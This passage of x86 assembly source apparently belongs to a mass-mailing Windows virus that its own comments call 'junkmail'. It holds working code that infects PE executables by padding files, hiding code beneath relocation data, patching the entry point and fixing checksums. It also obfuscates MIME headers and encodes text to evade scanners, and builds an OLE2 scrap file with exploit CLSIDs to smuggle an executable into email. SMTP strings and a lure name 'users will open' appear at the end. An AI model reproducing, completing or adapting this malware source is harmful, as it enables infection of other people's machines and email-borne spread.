        xor     eax, eax
        lods    byte ptr [esi]
        test    al, al
        jne     decomptest
        ret
decomptest      endp

;-----------------------------------------------------------------------------
;4/5-bit text decompressor by RT Fishel, based on algorithm by qkumba in 1986!
;decompresses A-Z, a-z, 0-9, 3 user characters, lookup table for more characters
;-----------------------------------------------------------------------------

decompress      proc    near                    ;al -> src length, esi -> src buffer, edi -> dst buffer
        xchg    ebx, eax
        mov     cx, ('!' shl 8)
        mov     edx, (1fh shl 8) + 5
        call    decomploop
                db      user1, user2, user3
endif

usertable       db      '.', 0dh, "@:=>(<!');+,_%^?"
                                                ;max 32 characters, sort by frequency for best compression
usertable_e     equ     $

if (offset usertable_e - offset usertable) gt 32
        .err    "too many user characters"
endif

ife compress_only

decompbase      label   near
        xor     dx, (10h shl 8) + 1
        jmp     decomploop

decompcase      label   near
        xor     ch, 'a' - 1

decomploop      label   near
        call    decompload
        cmp     dl, 5
        je      decompcmp
        or      al, 10h

decompcmp       label   near
        cmp     al, 1ah                         ;case switch
        je      decompcase
        jb      decompimm
        sub     al, 1ch
        jb      decompbase
        and     al, dh
        jne     decompuser
        call    decompload

        ;this instruction appears twice because the "add al, 3"
        ;can overflow in 4-bit mode.  if "and al, dh" appears
        ;after that, then the result is wrong character

        and     al, dh
        add     al, 3                           ;skip user1, user2, user3

decompuser      label   near
        add     eax, dword ptr [esp]
        mov     al, byte ptr [eax - 1]
        cmp     al, 0dh
        jne     decompstore
        stos    byte ptr [edi]
        mov     al, 0ah
        jmp     decompstore

decompimm       label   near
        add     al, ' '
        cmp     dl, 4
        je      decompstore
        add     al, ch

decompstore     label   near
        stos    byte ptr [edi]
        dec     bl
        jne     decomploop
        test    cl, cl
        je      decomppop
        inc     esi

decomppop       label   near
        pop     eax
        ret

decompload      proc    near
        mov     eax, dword ptr [esi]
        bswap   eax
        add     cl, dl
        rol     eax, cl
        cmp     cl, 8
        jb      decompldret
        sub     cl, 8
        inc     esi

decompldret     label   near
        and     eax, 1fh
        ret
decompload      endp
decompress      endp

;-----------------------------------------------------------------------------
;fill random number of lines with random number of random characters
;-----------------------------------------------------------------------------

randlines       proc    near
        call    random
        and     eax, 7
        inc     eax
        xchg    edx, eax

randloop        label   near
        call    random
        and     eax, 63                         ;highest power of 2, -1, <= 76
        inc     eax
        xchg    ebp, eax
        call    randline
        dec     edx
        jne     randloop

randword        proc    near
        push    8
        pop     ebp

randline        proc    near
        call    random
        and     al, 1fh
        cmp     al, 19h
        jnbe    randline
        add     al, 'A'
        stos    byte ptr [edi]
        dec     ebp
        jne     randline

store_crlf      proc    near
        mov     ax, 0a0dh
        stos    word ptr [edi]
        ret
store_crlf      endp
randline        endp
randword        endp
randlines       endp

;-----------------------------------------------------------------------------
;insert random comments into MIME headers, to fool non-compliant MIME software
;this includes some Microsoft products, such as Internet Mail And News :(
;map case randomly
;-----------------------------------------------------------------------------

decompcomcr     proc    near
        push    offset store_crlf - offset junkmail_inf + expsize + 401000h

decompcomnt     proc    near
        push    edi
        push    ebp
        call    decompmain
        pop     ebp
        pop     eax
        test    ebp, ebp
        je      decompsub
        dec     eax

decompsub       label   near
        sub     ebp, 71                         ;highest multiple of 4, < 76, -1
        neg     ebp

decompname      proc    near
        push    esi
        mov     ecx, edi
        sub     ecx, eax
        add     edi, ebp
        mov     esi, eax
        push    ecx
        push    edi
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     esi
        pop     ebx
        xchg    edi, eax

;-----------------------------------------------------------------------------
;replace a single space with 0-3 spaces
;-----------------------------------------------------------------------------

comnt_space     label   near
        cmp     ebp, ebx
        jbe     comnt_ret
        cmp     byte ptr [esi], ' '
        jne     comnt_copy
        call    random
        and     eax, 3
        dec     ebx
        sub     ebp, eax
        xchg    ecx, eax
        lods    byte ptr [esi]
        rep     stos byte ptr [edi]

;-----------------------------------------------------------------------------
;copy up to 3 original characters, always at least 1
;if no room for more comments, then copy remainder and quit
;-----------------------------------------------------------------------------

        cmp     ebp, ebx
        jbe     comnt_ret

comnt_copy      label   near
        call    random
        and     eax, 3
        jne     force_copy
        inc     eax

force_copy      label   near
        cmp     bl, al
        jbe     comnt_ret
        sub     bl, al
        sub     ebp, eax
        xchg    ecx, eax
        call    randcase

;-----------------------------------------------------------------------------
;insert up to 3 random comment characters, always at least 1
;-----------------------------------------------------------------------------

        call    random
        and     eax, 3
        jne     force_store
        inc     eax

force_store     label   near
        sub     ebp, eax
        dec     ebp
        dec     ebp
        push    ebp
        xchg    ebp, eax
        mov     al, '('
        stos    byte ptr [edi]

;-----------------------------------------------------------------------------
;printable character from 20 ( ) to 7e (~), except '(', ')', and '\'
;cannot use '(' or ')' because comments can be nested, '\' has special meaning
;-----------------------------------------------------------------------------

comnt_add       label   near
        call    random
        and     al, 7fh
        cmp     al, ' ' + 1
        jb      comnt_add
        cmp     al, '(' + 1
        jb      comnt_bound
        cmp     al, ')' + 1
        jbe     comnt_add
        cmp     al, '\' + 1
        je      comnt_add

comnt_bound     label   near
        dec     eax
        stos    byte ptr [edi]
        dec     ebp
        jne     comnt_add
        mov     al, ')'
        stos    byte ptr [edi]
        pop     ebp
        jmp     comnt_space

comnt_ret       label   near
        mov     ecx, ebx
        jecxz   comnt_skip
        call    randcase

comnt_skip      label   near
        pop     esi
        ret

randcase        proc    near
        push    ecx
        call    random
        lods    byte ptr [esi]
        cmp     al, 40h
        jb      case_skip
        and     ah, 20h
        xor     al, ah

case_skip       label   near
        stos    byte ptr [edi]
        pop     ecx
        loop    randcase
        ret
randcase        endp
decompname      endp
decompcomnt     endp
decompcomcr     endp

;-----------------------------------------------------------------------------
;map case randomly without comments
;-----------------------------------------------------------------------------

decompcmap      proc    near
        push    edi
        call    decompmain
        mov     ecx, edi
        pop     edi
        sub     ecx, edi
        push    esi
        mov     esi, edi
        call    randcase
        pop     esi
        push    offset part23 - offset part22 - 3
        pop     ebp
        ret
decompcmap      endp

;-----------------------------------------------------------------------------
;randomly convert characters to octets to fool string scanners
;automatically wraps long lines (eg batdrop)
;-----------------------------------------------------------------------------

formoctet       proc    near
        push    esi
        push    eax
        push    edi
        mov     ecx, edi
        sub     ecx, eax
        xchg    esi, eax

octet_line      label   near
        jecxz   octet_copy
        push    72                              ;highest safe multiple of 3, < 76
        pop     ebp

octet_check     label   near
        cmp     byte ptr [esi], 0dh
        je      octet_crlf
        cmp     ebp, 0
        jle     octet_break                     ;signed compare in case of < 0

;-----------------------------------------------------------------------------
;randomly process any character
;-----------------------------------------------------------------------------

        call    random
        test    al, 1
        lods    byte ptr [esi]
        jne     octet_make

;-----------------------------------------------------------------------------
;always process '=' character
;-----------------------------------------------------------------------------

        cmp     al, '='
        jne     octet_skip

octet_make      label   near
        mov     byte ptr [edi], '='
        inc     edi
        aam     10h
        cmp     al, 0ah
        sbb     al, 69h
        das
        xchg    ah, al
        cmp     al, 0ah
        sbb     al, 69h
        das
        stos    byte ptr [edi]
        dec     ebp
        dec     ebp
        mov     al, ah

octet_skip      label   near
        stos    byte ptr [edi]
        dec     ebp
        loop    octet_check

octet_copy      label   near
        pop     esi
        mov     ecx, edi
        sub     ecx, esi
        pop     edi
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     esi
        ret

octet_crlf      label   near
        movs    word ptr [edi], word ptr [esi]
        dec     ecx
        dec     ecx
        jmp     octet_line

octet_break     label   near
        mov     eax, 0a0d3dh
        stos    dword ptr [edi]
        dec     edi
        jmp     octet_line
formoctet       endp

bound_copy      proc    near
        push    esi
        xchg    ecx, eax
        xchg    esi, eax
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     esi
        jmp     store_crlf
bound_copy      endp

decomprand      proc    near
        push    edi
        call    decompmain                      ;subject
        call    random
        and     al, 1
        pop     eax
        jne     decomprand_ret
        xchg    edi, eax

decomprand_ret  label   near
        ret
decomprand      endp

decomptype      proc    near
        mov     eax, ('--' shl 10h) + 0a0dh
        stos    dword ptr [edi]
        pop     edx
        pop     eax
        pop     ecx
        push    ecx
        push    eax
        push    edx
        call    bound_copy
        push    esi

patch_type      label   near
        mov     esi, 'RTF!'
        call    decompcmap
        pop     esi
        push    offset part12 - offset part11 - 3
        pop     ebp
        jmp     decompcomnt
decomptype      endp

;-----------------------------------------------------------------------------
;base64 encoder without dictionary by RT Fishel
;-----------------------------------------------------------------------------

b64_newline     proc    near
        call    store_crlf

b64encode       label   near                    ;ebp = length, esi -> src buffer, edi -> dst buffer
        push    (76 shr 2) + 1
        pop     edx

b64_outer       label   near
        dec     edx
        je      b64_newline
        lods    dword ptr [esi]
        dec     esi
        inc     ebp
        bswap   eax
        push    4
        pop     ecx

b64_inner       label   near
        rol     eax, 6
        and     al, 3fh
        cmp     al, 3eh
        jb      b64_testchar
        shl     al, 2                           ;'+' and '/' differ by only 1 bit
        sub     al, ((3eh shl 2) + 'A' - '+') and 0ffh

b64_testchar    label   near
        sub     al, 4
        cmp     al, '0'
        jnl     b64_store                       ;l not b because '/' is still < 0 here
        add     al, 'A' + 4
        cmp     al, 'Z'
        jbe     b64_store
        add     al, 'a' - 'Z' - 1

b64_store       label   near
        stos    byte ptr [edi]
        dec     ebp
        loopne  b64_inner
        jne     b64_outer
        mov     al, '='
        rep     stos byte ptr [edi]
        ret
b64_newline     endp

;-----------------------------------------------------------------------------
;decompress scrap (OLE2) header
;-----------------------------------------------------------------------------

decompscrap     proc    near                    ;edi -> dst buffer
        push    edi
        push    esi
        push    eax
        xor     ecx, ecx
        mov     edi, ebx
        call    decomprle

;-----------------------------------------------------------------------------
;this is a 512 bytes-per-page OLE2 file that works in 9x/Me/NT/2000/XP
;it uses the standard OLE2 signature (D0 CF 11 E0 A1 B1 1A E1), because OLE2
;beta signature (0E 11 FC 0D A1 B1 1A E1) is not supported by Windows 2000/XP
;the shift count is 9, so it is not affected by the new OLE2 header size bug
;it supports <= 32256 bytes files, because FAT table is a single page
;file must be >= 4096 bytes long, this is an OLE2 limitation
;there is header field to control this, but is ignored for values < 4096
;
;256 bytes-per-page OLE2 file works in 9x/Me/NT, for <= 16128 bytes files
;it is possible in 2000/XP (needs many tricks), for <= 15872 bytes files only
;this restriction is because of a bug in the 2000/XP OLE2 implementation
;in the OLE2 specification, the file header is fixed at 512 bytes long, and
;the default shift count is 9, but someone at Microsoft thought that these
;values are related and now the shift count applies to the file header, too
;this means that using a shift count < 9 will read bytes from the file header,
;instead of the first page
;it is similar to changing the header paragraph count to 0 in DOS MZ files
;the correct behaviour for OLE2 is to use a base file offset, which value is
;1 << ((shift < 9) ? 9 : shift) to support large headers but 512 bytes minimum
;but there is more chance that Microsoft will never notice this bug anyway
;-----------------------------------------------------------------------------

scrapsize       equ     616h
;RLE-based compressed OLE2 scrap file
;execution continues immediately after compressed data.  be careful ;)

        dd      11111110011110001111001101100001b
        ;       mmmmmmmz   0fz   07mz   0dmz   02
        db      0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h, 9, 1
        dd      0

        inc     eax
        inc     edi
        stos    byte ptr [edi]
        add     edi, 1d3h
        not     eax
        stos    dword ptr [edi]
        add     edi, 1f8h
        call    decomprle

        dd      00000110000011000001100000111100b
        ;       z   01mz   01mz   01mz   01mmm
        db      1, 'O', 'l', 'e', '1', 0, '0'
        dd      00000110000011000001100000111100b
        ;       z   01mz   01mz   01mz   01mmm
        db      'N', 'a', 't', 'i', 0, 'v'
        dd      00000110011110011110010111000001b
        ;       z   01mz   0fz   0fz   0bmz   01
        db      'e', 1ah
        dd      10000010110001000011000000000000b
        ;       mz   01f   08mz   03
        db      2, 1
        dd      0

        pop     eax
        cmp     al, '!'
        jne     decomp_clsid
        call    random
        and     eax, 10h
        lea     esi, dword ptr [eax + offset exploit_clsid - offset junkmail_inf + expsize + 401000h]
        push    edi
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        pop     edi

decomp_clsid    label   near
        add     edi, 24h
        call    decomprle

        dd      00101110000011000001100000111100b
        ;       z   0bmz   01mz   01mz   01mmm
        db      2, 3, 'I', 'T', 'E', 0, 'M'
        dd      00000110000011000001100111100111b
        ;       z   01mz   01mz   01mz   0fz   0e
        db      '0', '0', '0'
        dd      00111100010110000011000001011000b
        ;       z   0fz   05mz   01mz   01f   08
        db      12h, 1
        dd      00010010000011000101100011010000b
        ;       z   04mz   01mz   05mz   06m
        db      0ch, 3, 0c0h, 46h
        dd      0

        add     edi, 126h
        call    decomprle

        dd      00000110000111111100000000000000b
        ;       z   01mz   03mmmmm
        db      3, 6, "\.exe"
        dd      0

;decompressed data follow
;       db      0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h
;                                       ;000 signature
;       db      10h dup (0)             ;008 unused
;       dw      0, 0                    ;018 DLL version
;       dw      0                       ;01c byte order (for Unicode)
;       dw      9                       ;01e shift count for main FAT
;       dw      0                       ;020 shift count for mini FAT
;       dw      0                       ;022 reserved
;       dd      0, 0                    ;024 reserved
;       dd      1                       ;02c pages in main FAT
;       dd      1                       ;030 page of root storage
;       dd      0                       ;034 unused
;       dd      0                       ;038 size of main pages
;       dd      0                       ;03c page of mini FAT
;       dd      0                       ;040 pages in mini FAT
;       dd      0                       ;044 next page in main FAT (end of chain)
;       dd      0                       ;048 unused
;       dd      6dh dup (0)             ;04c filler
;       dd      0                       ;200 main FAT page
;       dd      0fffffffeh              ;204 root storage chain
;       dd      ? dup (?)               ;208 embedded object stream chain (variable size)
;       dw      1, "Ole10Native", 14h dup (0)
;                                       ;400 stream name
;       dw      1ah                     ;440 name length
;       db      2                       ;442 attribute (2=stream, unchecked for Root Storage)
;       db      0                       ;443 unused
;       dd      0ffffffffh, 0ffffffffh  ;444 left and right node indexes
;       dd      1                       ;44c storage index (overload as Root Storage)
;       CLSID   25336920-03f9-11cf-8fd0-00aa00686f13 (HTML Document)
;       or
;       CLSID   3050f4d8-98b5-11cf-bb82-00aa00bdce0b (HTML Application)
;       or
;       db      10h dup (0)             ;450 CLSID
;       dd      0                       ;460 flags
;       dq      0, 0                    ;464 create and modify times
;       dd      2                       ;474 data page
;       dd      ?                       ;478 stream size
;       dd      0                       ;47c unused
;       dw      3, "ITEM000", 18h dup (0)
;                                       ;480 scrap storage name
;       dw      12h                     ;4c0 name length
;       db      1                       ;4c2 attribute (1=storage)
;       db      0                       ;4c3 unused
;       dd      0ffffffffh, 0ffffffffh  ;4c4 left and right node indexes
;       dd      0                       ;4cc storage index
;       CLSID   0003000c-0000-0000-00c0-000000000046
;                                       ;4d0 scrap CLSID
;       dd      0                       ;4e0 flags
;       dq      0, 0                    ;4e4 create and modify times
;       dd      0                       ;4f4 data page (unused by storages)
;       dd      0                       ;4f8 stream size
;       dd      0                       ;4fc unused
;       dd      40h dup (0)             ;500 unused directory entries
;       dd      ?                       ;600 scrap size
;       dw      0                       ;604 number of strings following
;       dw      3                       ;606 type (3=static)
;       dd      6                       ;608 filename length
;       db      "\.exe", 0              ;60c filename (only directory and suffix required)
;       dd      ?                       ;612 embedded object size
;                                       ;616

        lea     ecx, dword ptr [ebp + 12h]      ;add embedded object header size
        mov     dword ptr [edi - 11h], ecx      ;embedded object size (with header)
        mov     dword ptr [edi + 1], ebp        ;embedded object size (without header)
        add     ecx, 4
        mov     dword ptr [ebx + 478h], ecx     ;stream size
        mov     al, 3
        shr     ecx, 9
        lea     edi, dword ptr [ebx + 208h]     ;first entry in FAT

store_list      label   near
        stos    dword ptr [edi]
        inc     eax
        loop    store_list
        pop     esi
        add     ebp, esi                        ;include scrap header size
        xor     esi, esi
        pop     edi
        ret

exploit_clsid   label   near
        CLSID   <025336920h, 003f9h, 011cfh, 08fh, 0d0h, 000h, 0aah, 000h, 068h, 06fh, 013h>
        CLSID   <03050f4d8h, 098b5h, 011cfh, 0bbh, 082h, 000h, 0aah, 000h, 0bdh, 0ceh, 00bh>
decompscrap     endp

decomprle       proc    near
        pop     esi
        lods    dword ptr [esi]

copy_bytes      label   near
        movs    byte ptr [edi], byte ptr [esi]

test_bits       label   near
        add     eax, eax
        jb      copy_bytes
        add     eax, eax
        sbb     dl, dl
        shld    ecx, eax, 4
        shl     eax, 4
        xchg    edx, eax
        rep     stos byte ptr [edi]
        xchg    edx, eax
        jne     test_bits
        lods    dword ptr [esi]
        test    eax, eax
        jne     test_bits
        jmp     esi
decomprle       endp

;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------

open_append     proc    near
        push    (krncrcstk.kGetTickCount - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        and     eax, RANDPADMAX - 1
        add     ax, small (offset junkmail_codeend - offset junkmail_inf + RANDPADMIN)

;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------

map_view        proc    near                    ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
        cdq
        add     eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
        push    eax
        push    eax                             ;MapViewOfFile
        push    edx                             ;MapViewOfFile
        push    edx                             ;MapViewOfFile
        push    FILE_MAP_WRITE                  ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
        push    edx
        push    eax
        push    edx
        push    PAGE_READWRITE
        push    edx
        push    ebx
        push    (krncrcstk.kCreateFileMappingA - krncrcstk.klstrlenW) shr 2
        pop     eax                             ;ANSI map is allowed because of no name
        call    store_krnapi
        push    eax
        xchg    edi, eax
        push    (krncrcstk.kMapViewOfFile - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        pop     ecx
        xchg    edi, eax                        ;should succeed even if file cannot be opened
        pushad
        call    unmap_seh
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad                                   ;SEH destroys all registers
        push    eax
        push    edi
        push    (krncrcstk.kUnmapViewOfFile - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        call    cCloseHandle
        pop     eax
        ret

unmap_seh       proc    near
        cdq
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx], esp
        jmp     dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh       endp
map_view        endp                            ;eax = map handle, ecx = new file size, edi = map view
open_append     endp

;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------

get_krnapis     proc    near                    ;place near to jump table for smaller code
        call    cGetVersion

krnapi_delta    label   near
        shr     eax, 1fh
        mov     ecx, dword ptr [esp - 4]        ;no stack change in ring 3
        mov     ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
        lea     ebp, dword ptr [eax * 4 + ecx]
        ret
get_krnapis     endp

;-----------------------------------------------------------------------------
;indexed API jump table
;-----------------------------------------------------------------------------

clstrcatW               proc    near
        push    (krncrcstk.klstrcatW - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
clstrcatW               endp

cSleep                  proc    near
        push    (krncrcstk.kSleep - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cSleep                  endp

cSetCurrentDirectoryA   proc    near
        push    (krncrcstk.kSetCurrentDirectoryA - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cSetCurrentDirectoryA   endp

cLoadLibraryA           proc    near
        push    (krncrcstk.kLoadLibraryA - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cLoadLibraryA           endp

cGlobalFree             proc    near
        push    (krncrcstk.kGlobalFree - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cGlobalFree             endp

cGlobalAlloc            proc    near
        push    (krncrcstk.kGlobalAlloc - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cGlobalAlloc            endp

cGetVersion             proc    near
        push    (krncrcstk.kGetVersion - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cGetVersion             endp

cCreateThread           proc    near
        push    (krncrcstk.kCreateThread - krncrcstk.klstrlenW) shr 2
        jmp     call_krncrc
cCreateThread           endp

cCloseHandle            proc    near
        push    (krncrcstk.kCloseHandle - krncrcstk.klstrlenW) shr 2
cCloseHandle            endp

call_krncrc     proc    near
        pop     eax

store_krnapi    label   near
        jmp     dword ptr [eax * 4 + '!bgr']
call_krncrc     endp

;-----------------------------------------------------------------------------
;infect file in two parts
;algorithm:     increase file size by random amount (RANDPADMIN-RANDPADMAX
;               bytes) to confuse scanners that look at end of file (also
;               infection marker)
;               if reloc table is not in last section (taken from relocation
;               field in PE header, not section name), then append to last
;               section.  otherwise, move relocs down and insert code into
;               space (to confuse people looking at end of file.  they will
;               see only relocation data and garbage or many zeroes)
;               entry point is altered to point to some code.  very simple
;               however, that code just drops exe and returns
;               exe contains infection routine
;-----------------------------------------------------------------------------

infect_file     label   near                    ;esi -> findlist, edi = map view
        call    open_append
        push    ecx
        push    edi
        mov     ebx, dword ptr [edi + mzhdr.mzlfanew]
        lea     ebx, dword ptr [ebx + edi + pehdr.pechksum]
        xor     ecx, ecx
        imul    cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect
        add     cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
        lea     esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        mov     cx, offset junkmail_codeend - offset junkmail_inf
        mov     edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
        push    eax
        add     eax, ecx
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx                        ;file align last section
        mov     dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax

;-----------------------------------------------------------------------------
;raw size is file aligned.  virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------

        mov     ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
        cmp     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        jnb     test_reloff
        mov     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        add     eax, ebp
        mov     edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx
        mov     dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax

;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------

test_reloff     label   near
        test    byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
        jne     copy_code
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
        jb      copy_code
        mov     eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
        add     eax, ebp
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
        jnb     copy_code
        add     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
        pop     eax
        push    esi
        add     edi, dword ptr [esi]
        lea     esi, dword ptr [edi + eax - 1]
        lea     edi, dword ptr [esi + ecx]
        xchg    ecx, eax
        std
        rep     movs byte ptr [edi], byte ptr [esi]
        cld
        pop     esi
        pop     edi
        push    edi
        push    ecx
        xchg    ecx, eax

copy_code       label   near
        pop     edx
        add     ebp, edx
        xchg    ebp, eax
        add     edx, dword ptr [esi]
        add     edi, edx
        mov     esi, expsize + 401000h
        rep     movs byte ptr [edi], byte ptr [esi]

;-----------------------------------------------------------------------------
;alter entry point
;-----------------------------------------------------------------------------

        xchg    dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax
        sub     eax, offset host_patch - offset junkmail_inf + 5
        sub     eax, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
        mov     dword ptr [edi + offset host_patch - offset junkmail_codeend + 1], eax
        pop     edi

;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------

        xchg    dword ptr [ebx], ecx
        jecxz   infect_ret
        xor     eax, eax
        pop     ecx
        push    ecx
        inc     ecx
        shr     ecx, 1
        clc

calc_checksum   label   near
        adc     ax, word ptr [edi]
        inc     edi
        inc     edi
        loop    calc_checksum
        pop     dword ptr [ebx]
        adc     dword ptr [ebx], eax            ;avoid common bug.  ADC not ADD

infect_ret      label   near
        int     3                               ;common exit using SEH
        db      "*4U2NV*"                       ;that is, unless you're reading this
test_infect     endp

regdll  db      "advapi32", 0                   ;place < 80h bytes from end for smaller code

mail_recip      label   near                    ;virtual buffer, 80h bytes

junkmail_codeend        label   near
junkmail_inf    endp

endif

ife compress_only

create_crcs     proc    near
        or      eax, -1

create_outer    label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

create_inner    label   near
        add     eax, eax
        jnb     create_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

create_skip     label   near
        loop    create_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      create_outer
        stos    dword ptr [edi]
        dec     edx
        jne     create_crcs
        ret
create_crcs     endp

endif

compcall        proc    near
        js      compmain
        call    compress

compmain        label   near
        xor     eax, eax
        lods    byte ptr [esi]
        stos    byte ptr [edi]
        test    al, al
        jne     compcall
        ret
compcall        endp

;-----------------------------------------------------------------------------
;4/5-bit text compressor by RT Fishel, based on algorithm by qkumba in 1986!
;compresses A-Z, a-z, 0-9, 3 user characters, lookup table for more characters
;fits 66 characters into 5 bits.  qkumba coding makes it possible ;)
;-----------------------------------------------------------------------------

compress        proc    near                    ;al -> src length, esi -> src buffer, edi -> dst buffer
        xchg    ebx, eax
        mov     bh, 5
        mov     cx, ('A' shl 8) + 16
        xor     ebp, ebp

comploop        label   near
        lods    byte ptr [esi]
        push    1bh                             ;base switch
        pop     edx
        cmp     al, user1
        je      compuser123
        cmp     al, user2
        je      compuser123
        cmp     al, user3
        je      compuser123
        push    ecx
        push    edi
        push    offset usertable_e - offset usertable
        pop     ecx
        mov     ah, cl
        mov     edi, offset usertable
        repne   scas byte ptr [edi]
        mov     al, cl
        pop     edi
        pop     ecx
        je      compuser5
        dec     esi
        lods    byte ptr [esi]

;-----------------------------------------------------------------------------
;set case before switching base to alphabetic to save 1 bit
;-----------------------------------------------------------------------------

        mov     ah, al
        test    al, 'A' - 1
        je      compnumer
        and     al, 'a' - 1
        inc     eax
        cmp     ch, al
        je      compalpha
        mov     ch, al
        push    edx
        dec     edx                             ;case switch
        call    compstore
        pop     edx

compalpha       label   near
        sub     ah, al

compnumer       label   near

;-----------------------------------------------------------------------------
;check if base switch is required
;-----------------------------------------------------------------------------

        shr     al, 6
        add     al, 4
        cmp     bh, al
        je      compextend
        call    compstore                       ;store base switch
        xor     bh, 1

compextend      label   near
        movzx   edx, ah

compuser1       label   near
        call    compstore                       ;store character

comptest        label   near
        dec     bl
        jne     comploop
        ret

compuser123     label   near

;-----------------------------------------------------------------------------
;if base is alphabetic and bytes left and next character is numeric, then
;switch base to numeric before storing user char to save 1 bit
;-----------------------------------------------------------------------------

        cmp     bh, 5
        jne     compchar
        cmp     bl, 1
        je      compchar                        ;no bytes left
        cmp     byte ptr [esi], '0'
        jb      compchar
        cmp     byte ptr [esi], '9'
        jnbe    compchar
        call    compstore                       ;store base switch
        mov     bh, 4

compchar        label   near
        push    1dh                             ;user1
        pop     edx
        cmp     al, user1
        je      compuser1
        inc     edx                             ;user2
        cmp     al, user2
        je      compuser1
        inc     edx                             ;user3
        jmp     compuser1

compuser5       label   near
        sub     ah, al

;-----------------------------------------------------------------------------
;if base is numeric, and char is out of numeric range, then switch base to
;alphabetic, store char, then restore base unless next char is alphabetic
;-----------------------------------------------------------------------------

        push    edx
        xor     al, al
        cmp     bh, 4
        jne     compindex
        cmp     ah, 0fh
        jbe     compindex
        inc     eax
        call    compstore                       ;store base switch
        mov     bh, 5

compindex       label   near
        push    1ch                             ;user 5 (lookup table)
        pop     edx
        call    compstore
        movzx   edx, ah
        call    compstore                       ;store character
        pop     edx
        test    al, al
        je      comptest
        cmp     bl, al
        je      comptest                        ;no bytes left
        mov     al, byte ptr [esi]
        cmp     al, 'A'
        jb      comprestore
        and     al, not ' '
        cmp     al, 'Z'
        jbe     comptest

comprestore     label   near
        call    compstore                       ;store base switch
        mov     bh, 4
        jmp     comptest

compstore       proc    near
        and     dl, 1fh
        push    ebx
        cmp     bl, 1
        jne     compstmask
        cmp     dl, 1ah
        jb      compstmask
        cmp     dl, 1dh
        adc     bl, 0                           ;avoid flush for multibyte

compstmask      label   near
        cmp     bh, 5
        je      compstoreb
        and     dl, 0fh

compstoreb      label   near
        sub     cl, bh
        shl     edx, cl
        or      ebp, edx
        cmp     cl, 8
        jnbe    compsttest

compstflush     label   near
        xchg    ebp, eax
        xchg    ah, al
        stos    byte ptr [edi]
        xor     al, al
        xchg    ebp, eax
        add     cl, 8

compsttest      label   near
        cmp     bl, 1
        jne     compstret
        cmp     cl, 10h
        jb      compstflush                     ;force flush low byte

compstret       label   near
        pop     ebx
        ret
compstore       endp
compress        endp

;only 0dh is required for new line, since 0ah is appended by decompressor

user1           equ     ' '
user2           equ     '/'
user3           equ     '-'                     ;the three most frequent characters

ourcid          equ     "EMAIL"                 ;something that users will open

smtp1           db      offset smtp2 - offset $ - 2, "HELO ", 0
smtp2           db      offset smtp3 - offset $ - 2, "MAIL FROM:<>", 0dh, 0
smtp3           db      offset smtp4 - offset $ - 2, "RCPT TO:", 0
